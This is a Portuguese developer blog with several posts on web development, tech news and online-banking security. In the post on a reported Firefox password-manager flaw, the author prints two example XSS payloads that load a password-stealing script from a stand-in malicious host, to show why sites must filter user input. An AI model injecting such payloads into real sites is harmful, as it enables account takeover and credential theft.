ClientSide: mostre seu código

Está lançado: clientside.com.br.

É um site para falar sobre Javascript, Ajax, CSS, XHTML[bb]. Mas não é um site para opinião e recomendações, é um lugar para você ler sobre código, ler código, e colaborar. O site é aberto ao cadastro e colaboração dos usuários, embora todos os artigos devam ser aprovados pelos editores. Entenda a política do site.

Se você já possui um blog ou site sobre o assunto, pode publicar seus artigos em seu próprio site e apenas um link com um breve comentário no ClientSide. Só não faça isso com cada um dos seus posts, apenas com os melhores. Não é um agregador. Se fosse, eu teria feito para funcionar sozinho. É um site onde você vai ler conteúdo especial, focado no assunto, que foi selecionado por seres humanos de um jeito que as máquinas (ainda) não sabem fazer.

Falha no Password Manager do Firefox?

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager 😉

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

Microsoft, Google e o poder da massa crítica

Está todo mundo por aí falando sobre:

  • Microsoft Surface, um computador-mesa realmente impressionante. Entre no site e veja alguns dos videozinhos que você vai entender.
  • Google Gears, uma extensão para Firefox/Internet Explorer que permite ao desenvolvedor web guardar dados locais, na máquina do usuário.
  • O Orkut agora permite que você cadastre feeds em seu perfil.

Quando olhei cada um desses lançamentos, tive a mesma reação: “Ah, grande coisa!”

Nenhuma dessas idéias é nova ou revolucionária. Começando pelo Surface, é uma coleção de idéias velhas. Já vimos parte delas implementada no iPhone e na maneira como o sujeito pode usar os dedos nele. A idéia de colocar um computador numa mesa ou permitir seu uso por mais de uma pessoa também não é nova. E a maquininha da Microsoft está saindo por 10 mil. Dólares.

O Google Gears merece um pouquinho de explicação antes de dizer que a idéia não é nova. O Gears tem três componentes importantes. O primeiro é um tipo de servidor proxy com cache local. É um pouquinho mais do que isso, mas no fim permite a uma aplicação web responder dados ao usuário uma única vez, e ele terá esses dados em sua própria máquina a partir daí. O segundo é um banco de dados local, que permite a uma aplicação web, por exemplo, funcionar offline. O terceiro é um mecanismo para fazer com que seus scripts possam ser executados em segundo plano, sem congelar o navegador. De verdade? Isso não é nem tão novo, nem tão revolucionário assim. Para o sujeito que está desenvolvendo um Gmail, pode fazer diferença. Mas para pequenas aplicações, ou mesmo as medianas, dessas que a gente desenvolve todo dia, tudo poderia ser resolvido com cookies e um pouquinho de inteligência, sem demandar a instalação de um plugin.

Por fim, os feeds no Orkut. Aqui a experiência de quem esperava algo realmente novo pode ser decepcionante. Leia os comentários do Charles Pilger sobre o assunto, por exemplo.

Apesar disso, há algo que pode realmente fazer diferença nesse tipo de produto: massa crítica, quantidade de usuários, visibilidade. O Surface pode mostrar ao mundo a idéia nova. Talvez eu nunca venha a ter um Microsoft Surface, mas quem sabe eu daqui a algum tempo comecem a vender o XingLing Surface, o Itautec Surface ou o Positivo Surface? Tenho perguntado ao auditório, nos Encontros Locaweb, quem usa leitores de feeds e quem fornece RSS de qualquer maneira. Num público de desenvolvedores, o número de pessoas que levantam suas mãos é assombrosamente baixo. Imagino que entre os seres humanos comuns este números deve ser ainda menor. Feeds no Orkut podem ser um excelente recurso educativo. Isso pode fazer muita gente descobrir o RSS.

Em relação ao Gears, assim como em relação ao Silverlight, que não está na lista acima porque já tem um tempo, acontece algo curioso. Quem teria coragem de apostar hoje numa tecnologia que exige a instalação de um plugin para que seu site seja usado? Se fosse qualquer empresa pequena que estivesse lançando um desses produtos, ele logo seria descartado como algo ridículo. Mas todo mundo tem suas em relação ao poder de empresas como a Microsoft ou o Google de fazer com que as pessoas instalem algo em suas máquinas.

Em suma, quando você tem metade da Internet usando seus produtos, as regras podem ser diferentes para você. E quando você lança um Google Notebook ou um Zune, as pessoas parecem se esquecer muito rápido que você fracassou.

Em relação ao fato de não haver nenhuma novidade nesses produtos, vale lembrar o que diz o Getting Real: uma boa idéia não vale quase nada, o que vale mesmo é uma boa execução. Embora o Surface não seja novo, parece pelos vídeos que foi executado de maneira exímia.

E, claro, a história dos computadores mostra que nem sempre os melhores vencem. Nada de certezas, por enquanto.

Links interessantes:

Imite o Mac OS X você também

Dashboard, Exposè, estilo Aqua, tudo já foi copiado no elegante Mac OS X. Mas a marca registrada do sistema ainda é o Dock. Há uma porção de cópias interessantes para o Dock em diversos ambientes. Mas, com javascript e CSS, eu nunca tinha visto uma razoável. Até que vi essa aqui. Veja esse Dock rodando nesse exemplo.

Muito bom. Tanto o código quanto o resultado visual.

Ah, se você tiver um tempinho para estudar o código, vai passar a odiar um pouquinho mais o Internet Explorer 😉

Aprenda expressões regulares!

Exemplos de expressões regulares PHP. Expressões prontas para uma porção de coisas.

Seguem também uns exemplos brasileiros bem comuns:

CPF='\b([0-9]{3}\.?){3}-[0-9]{2}\b'
CNPJ='\b[0-9]{2,3}\.?([0-9]{3}\.?){2}\/[0-9]{4}-[0-9]{2}\b'
CEP='\b[0-9]{2}\.?[0-9]{3}-[0-9]{3}\b'

Expessões regulares permitem fazer com uma linha de código coisas que, de outra forma, levariam um bocado de código e tempo. Veja, por exemplo, este trecho de Javascript:

// Exibe o texto da página, removendo todas as tags
t=document.body.innerHTML
t=t.replace(/<.*?>/g,"")
t=t.replace(/[ \t]+/g," ")
t=t.replace(/(\n ?)+/g,"\n")

Pode dar um pouco de trabalho aprender expressões regulares[bb], mas eu garanto que o tempo que você investir nisso se paga muito rápido.

Resultado do concurso dos 4KB

Depois de muito confabular, chegamos a uma conclusão a respeito do Desafio dos 4KB.

O vencedor é o Michael Humberto Castillo, com seu joguinho. Demoramos a decidir porque o joguinho tem uns bugs, mas foi o mais impressionante que foi enviado. Como o critério, segundo o anúncio da promoção, era a quantidade de barulho produzida pela reação emocionada do pessoal aqui, não conseguimos deixar de premiar o Humberto, apesar dos pequenos bugs. Parabéns Humberto! Aguarde nosso contato.

Parabéns também a todos os outros participantes! Foi muito divertido.

Desafio dos 4KB

Momento Jabá: Quanta coisa você consegue fazer com apenas 4KB?

Crie uma página que faça algo impressionante com apenas 4KB de código. Pode usar HTML válido ou inválido, XML, Javascript, CSS e o que mais você quiser, desde que esteja tudo em uma única página. Nada de Flash, imagens externas, scripts externos ou Ajax. O resultado pode ser o que você quiser, desde que seja impressionante. Pode também funcionar apenas no Firefox, se você preferir. Afinal, você vai programar só por diversão.

Inclua a frase “Visie, ensinando os melhores”, publique em algum lugar e envie o link para a gente. Vamos mostrar para o pessoal da Visie e ouvir o “Uau!” da galera. A página que conseguir o maior número de decibéis na reação dos espectadores, a mais impressionante, a mais surpreendente, vai ganhar um curso online de Javascript Crossbrowser da Visie, para você ou para doar para alguém.

Para que todos possamos ver os trabalhos, deixe um comentário aqui com o link para o seu. Você tem até sexta-feira, às 11h da manhã para enviar seus impressionantes 4KB de código. Vamos começar a avaliação na sexta-feira ao meio-dia, e a hora em que vai sair o resultado depende da quantidade de participantes.

Vamos mostrar para esse pessoal boboca por aí que programar[bb] é muito mais divertido que ficar escrevendo frasezinhas de efeito.

Divirtam-se!

Google Code Prettify.

Agora este blog tem syntax highlight para os trechos de código que eu escrevo, por exemplo:

function Pessoa(nome,idade,email){
// Para criar as propriedades da classe usamos a palavra-chave this
this.nome=nome
this.idade=idade
this.email=email
// Não existe, em javascript, o conceito de método. Um método é uma
// propriedade como outra qualquer, cujo valor é uma função e,
// portanto, é executável.
this.digaOi=function(){
alert("Oi, eu sou "+this.nome+"!")
}
}

Levei dez minutos para fazer isso. Baixei e instalei a Google Code Prettify e escrevi um plugin do WordPress para adicionar a classe prettyprint a todas as minhas tags <code> e estava feito.

Instruções detalhadas:

Primeiro baixe esses dois arquivos e coloque-os em seu site. Pode ser no diretório raiz. Em seguida inclua no head de suas páginas:


<link href="prettify.css" type="text/css" rel="stylesheet" />
<script type="text/javascript" src="prettify.js"></script>

Você pode alterar o prettify.css para que fique com as cores que você desejar.

O passo seguinte é colocar onload="prettyPrint()" na tag body.

Agora é só substituir suas tags <pre> e <code> por <pre class="prettyprint"> e <code class="prettyprint">. Pronto, está funcionando.

WordPress

No WordPress você pode alterar o head de sua página e incluir o onload no body no editor de templates, editando o arquivo Header. Para incluir a classe em todas as suas tags code pode copiar o plugin abaixo:


<?php
/*
Plugin Name: Prettify
Version: 1.0
Plugin URI: http://blog.elcio.com.br/google-code-prettify/
Description: Prepares your code snippets to <a href="http://code.google.com/p/google-code-prettify/">Google Code Prettify</a>, adding class="prettyprint" to them.
Author: Elcio Ferreira
Author URI: http://blog.elcio.com.br
*/
function prettify($text) {
return str_replace('<code>','<code class="prettyprint">',$text);
}
add_filter('the_content', 'prettify');
add_filter('the_excerpt', 'prettify');
add_filter('comment_text', 'prettify');
?>

Você pode baixar esse plugin aqui.

Política de Segurança do Bradesco! Raios Múltiplos!

O Bruno começou: Bradesco: O pior internet banking que eu já vi.

É mesmo, de longe, o pior que eu conheço. Sou cliente Bradesco e Itaú há um bocado de tempo. Mantenho minha conta no Bradesco por uma série de motivos. Primeiro, porque eles me ofereceram crédito pessoal, cartão de crédito, cheque especial e uma porção de outras facilidades, sem que eu precisasse ir até o banco pedir. Sei que eles não fazem isso por bondade, que é interesse do banco que eu me endivide e pague juros a eles. Mas no Itaú, tendo praticamente o mesmo tempo de conta e tendo durante alguns anos movimentado mais dinheiro lá do que no Bradesco, não tenho nem talão de cheques. Eu sei que se for à agência pedir é capaz de conseguir essas facilidades, mas, caramba, tenho que ir à agência?

Há outros motivos para manter minha conta no Bradesco. Embora seja considerado um “banco das massas” e muita gente reclame das filas, tenho tido muita sorte com o atendimento deles na agência. A rede de caixas eletrônicos também é exemplar. Onde eu vou tem um caixa Bradesco Dia e Noite. E, se não tiver, eles ainda têm convênio com a rede 24 horas, embora aí eu pague para sacar. Isso é bem melhor que o sistema do Itaú, onde eu só posso sacar em caixas eletrônicos do próprio Itaú, tenho um limite (pequeno) de saques por mês e, se sacar além do limite, pago uma tarifa por cada saque extra. Além disso, se faço um saque em qualquer caixa eletrônico fora da agência, num supermercado, posto de gasolina ou rodoviária, por exemplo, também pago por aquele saque. Além disso, as tarifas no Itaú são um assalto!

Me sinto entre a cruz e a espada com os dois bancos.

Um ponto para o Bradesco: Uma vez perdi meu cartão do Itaú. Tive que ir até a agência para assinar uma solicitação de um novo. O gerente me deu um prazo, mas a única maneira de saber se o cartão já havia chegado era telefonar para o gerente ou ir até a agência. Acontece que ninguém consegue telefonar para o gerente. Quando o cartão finalmente chegou, o gerente me entregou o cartão e me disse que eu tinha que cadastrar uma senha para liberar o cartão para uso. E para isso, tinha que pegar a fila do caixa. Era o quinto dia útil do mês, a fila era uma daquelas que quase não cabe na agência. No Bradesco, quando meu cartão quebrou, fiz o pedido de um novo por telefone e o recebi em casa.

Um ponto para o Itaú: há pouco tempo eu me mudei e resolvi transferir as contas para uma agência perto de casa. No Itaú a moça digitou meia dúzia de coisas no computador, me deu um único documento para assinar e colou um adesivo em meu cartão com o número da nova conta. Pronto, a conta estava transferida e eu já podia movimentá-la. No Bradesco me pediram uma carta, de próprio punho, solicitando a mudança, me deram um documento de encerramento da conta antiga para assinar, mais toda a papelada de abertura de uma conta nova. Maços e maços de papéis para assinar. Aliás, o Bradesco parece que adora gastar papel. Está bem que eles trabalham com papel reciclado, mas acho que eles fariam mais bem à Natureza se simplesmente poupassem a metade do papel que gastam.

No fim, não sei que banco escolher. Não se também se abro uma conta em um outro e encerro as duas que tenho.

Agora, falando em políticas de segurança, o Bradesco realmente é o campeão da chateação. Uma vez minha esposa telefonou para o Fone Fácil, que devia se chamar Fone Difícil. Ela não estava acostumada às confirmações de cadastro. Aqui em casa, quando a gente precisa telefonar para a companhia telefônica, o banco ou qualquer outro fornecedor de serviços, geralmente sou eu que faço. Você nunca foi pego de surpresa quando perguntam sua idade? Principalmente perto do seu aniversário? Foi o suficiente para bloquearem a conta dela e ela ter que ir até a agência para resolver o problema.

Esse tal “Cartão Chave de Segurança Bradesco” é a coisa mais famigerada que já inventaram. O Itaú tem um igualzinho, mas o Bradesco me pede o cartão para acessar também o Fone Fácil, que devia se chamar Fone Difícil, e para fazer saques no caixa eletrônico.

Preste atenção nos passos para saber meu saldo no Internet Banking:

  1. Acesso o site do Bradesco.
  2. Digito agência e conta e Enter.
  3. Espero, dependendo da conexão muito, até carregar um applet Java.
  4. Digito minha senha eletrônica (não é a mesma do cartão para saque) usando o teclado virtual.
  5. Digito minha frase secreta (pelo menos 22 letras) e Enter
  6. Aparece uma tela me pedindo um dos números do meu cartão chave. Tiro o cartãozinho odioso da carteira, encontro e digito o número pedido e Enter.
  7. Pronto, aparece meu saldo. Viu como é fácil?

Um cliente Bradesco tem:

  1. Uma senha do cartão de débito
  2. Duas letras secretas para usar o caixa eletrônico
  3. Uma senha eletrônica para Internet e Fone Fácil
  4. Um cartão de segurança com 70 números

E de vez em quando ainda te pedem para confirmar dados pessoais em algumas operações.

Por fim: estava tentando testar um serviço novo, o NovoFax, mas não consegui porque o sistema da Visa me manda para o Bradesco quando tento fazer uma compra, e, embora o site e o Internet Banking funcionem no Firefox, os sistemas de pagamento eletrônico não. Estou pensando aqui se assino via boleto ou simplesmente desisto.

Cite Bite, uma idéia ruim

Um bocado de gente começou recentemente a usar o Cite Bite para linkar para citações de outros sites. A citação pode ficar, por exemplo, assim:

PS: Se você tem talento e disposição para criar uma “mensagem-modelo”, com campinhos para preencher e enviar, principalmente para os tribunais, por favor faça isso. Você vai estar ajudando muito com um pouquinho de seu tempo.

Elcio Ferreira

Clique no link com meu nome e você vai entender o que é o Cite Bite. O recurso parece interessante à primeira vista. O problema é que isso quebra um dos mecanismos básicos da interação entre os blogs: o link.

Quando você linka para um outro blog você está favorecendo o blog linkado:

  1. Está enviando usuários para lá. Esse é, claro, o ponto mais óbvio.
  2. Está enviando um pingback. Isto é, se o seu sistema de blogging for esperto o suficiente para isso. Se você não sabe o que é pingback (e trackback) entenda isso melhor aqui.
  3. Está dando pontos ao site no Google Ranking. E o Google funciona por causa dessas milhares de pequenas contribuições voluntárias, os links. Cada link é um voto.

Nada disso aí acontece quando você linka para o Cite Bite. Vai haver um link a menos para o blogueiro que escreveu algo tão bom que merece sua citação.

Para complementar, o Cite Bite pode causar problemas para o seu usuário. Aquela barra vai causar problemas se o site linkado coloca coisas no topo usando, no CSS, position:absolute; e os javascripts e mesmo o layout do site podem não funcionar corretamente.
Linke direto para o blogueiro, a fonte original.

Navegando